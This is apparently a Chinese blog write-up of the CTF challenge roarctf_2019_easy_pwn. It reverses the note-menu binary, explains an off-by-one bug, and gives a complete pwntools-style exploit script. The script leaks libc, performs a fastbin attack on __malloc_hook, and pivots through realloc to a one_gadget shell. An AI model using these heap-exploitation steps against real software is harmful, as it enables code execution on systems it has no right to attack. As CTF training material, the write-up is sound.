roarctf_2019_easy_pwn

常规检查

逆向分析

Note system
1. create a note
2. write note
3. drop the note
4. show the note
5. exit
choice: 

create 函数

    *(&unk_202040 + 4 * i) = 1;
    *(&unk_202044 + 4 * i) = v4;
    qword_202048[2 * i] = v5;

  • *(&unk_202040 + 4 * i):置 1 记录 chunk 已创建
  • *(&unk_202044 + 4 * i):存放 chunk 的大小
  • qword_202048[2 * i]:存储 chnk 的地址

write 函数

    v4 = sub_E26(*(&unk_202044 + 4 * v3), v2);
    printf("content: ");
    v2 = sub_D92(qword_202048[2 * v3], v4);

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return result;
}
  • sub_E26(*(&unk_202044 + 4 * v3), v2):存在 off-by-one 漏洞
  • sub_D92(qword_202048[2 * v3], v4):将 v4 字节大小的内容写入 qword_202048[2 * v3] 对应的块地址。

drop 函数

    *(&unk_202040 + 4 * v0) = 0;
    *(&unk_202044 + 4 * v0) = 0;
    free(qword_202048[2 * v0]);
    qword_202048[2 * v2] = 0LL;
  • 将记录 chunk 创建的 1 置 0 。
  • 将记录 chunk 的大小置 0。
  • free 掉对应的 chunk 。
  • 将存储的 chunk 指针置 0。

show 函数

      printf("content: ", v2);
      LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *(&unk_202044 + 4 * SHIDWORD(v2)));
  • 打印 qword_202048[2 * SHIDWORD(v2)] 对应块的 *(&unk_202044 + 4 * SHIDWORD(v2) 个字节的内容。

利用思路

  • off by one 泄露 main_arena 地址,从而计算 其他 libc 函数地址
  • 迁移 top chunk 防止其与 uaf 的 fastbin 合并
  • fastbin attack 任意写
  • 利用 realloc_hook 达成 one_gadget 条件

exp 脚本

from pwn_debug import *

pdbg = pwn_debug('./roarctf_2019_easy_pwn')
pdbg.local()
pdbg.remote('node3.buuoj.cn',25308)
io = pdbg.run('remote')
libc = pdbg.libc

def add(size):
    io.recvuntil('choice: ')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))

def edit(index,size,data):
    io.recvuntil('choice: ')
    io.sendline('2')
    io.recvuntil('index:')
    io.sendline(str(index))
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(data)

def free(index):
    io.recvuntil('choice: ')
    io.sendline('3')
    io.recvuntil('index:')
    io.sendline(str(index))

def show(index):
    io.recvuntil('choice: ')
    io.sendline('4')
    io.recvuntil('index:')
    io.sendline(str(index))   

add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,34,'a'*0x18+p8(0xb1))#edit chunk_size
free(1)
add(0xa8)#1
edit(1,0x20,'a'*0x18+p64(0x91))#设置 chunk 2 的大小为 small bin
free(2)
show(1)    #泄露 main_arena 的地址
io.recvuntil('content: ')
io.recv(0x20)
libc_base=u64(io.recv(8))-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a

#gdb.attach(io)

edit(4,50,'a'*0x28+p8(0xa1))
free(5)    #迁移 top chunk ,防止 free chunk 6 的时候 chunk 与 top chunk 合并
free(6)
add(0x98)#2

edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23)) #fastbin attack 任意地址写

add(0x68)#5
add(0x68)#6
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc+16)) #利用 ralloc_hook 改变栈环境达成 one_gadget 的条件
#gdb.attach(io)
add(0x10)
io.interactive()

内容来源

【pwn】roarctf_2019_easy_pwn

posted @ 2020-02-28 22:23  PwnKi  阅读(1134)  评论(0编辑  收藏  举报